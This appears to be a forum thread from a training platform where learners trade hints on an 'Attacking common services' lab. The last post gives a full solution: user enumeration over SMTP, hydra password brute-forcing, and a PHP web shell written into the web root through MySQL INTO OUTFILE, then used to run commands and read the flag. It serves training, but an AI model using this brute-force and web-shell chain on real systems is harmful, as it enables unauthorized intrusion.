Attacking common services - easy

HTB Content Academy
1

I’m really stuck on this exercise, I got the username “fiona” but the password list provided in resources doesn’t work. I have tried to encode it in base64, since when I do auth login to the smtp service it returns the encoded response. I have also encoded the username fiona, and finally I have also tried the list of passwords in base64 without the ==, but it does not work.

I have tried the list of passwords in plain text with the username fiona for all the services and none of them work, can someone help me ? Thank you.

2

I’ve discovered in several modules the provided password list doesn’t have the answer (neither does mutation). I recommend trying other password lists commonly talked about and used. Also located on the pwnbox. If you need further hints feel free to DM me

3

Use the eternal wordlist : rockyou.txt

4

Box times out before hydra can get through rockyou! I feel like I am missing something with this. I have tried all kinds of lists …rockyou would be the logical choice but takes too long…

5

While bruteforcing, give the username as: fiona@inlanefreight.htb

1 Like
6

thank you!

10

Any help?

11

Can someone give me some advice, I have entered mysql with the credentials f*** and the pass 9***, but within it I understand that I must upload a file, or how can I do it, I need some advice I am stuck

12

im stuck on trying to upgrade my shell. ive uploaded it via the ftp server but can get it to execute. what am i missing?

13

Hi, can anyone suggest me what wordlist (not rockyou) to use…
I’m bruteforcing the ftp service

17

You can try darkweb2017-top1000 or rockyou-20 as well. Just remember to set username in the format @<domain_name>.

18

After finding the creds, I reused them on another service, and the LOAD_FILE function helped me out :slight_smile:

1 Like
19
  1. smtp-user-enum to get fiona user
  2. hydra -l fiona@inlanefreight.htb -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt
  3. use fiona and the password 9******** to access mysql
  4. mysql> SELECT “<?php echo shell_exec($_GET['cmd']);?>” INTO OUTFILE ‘c:\xampp\htdocs\webshell2.php’
  5. http*******/webshell2.php?cmd= dir c:\users\ /s flag.txt → to search for flag.txt location
  6. use LOAD_FILE to obtain the flag

It’s harder than I though for ‘Easy’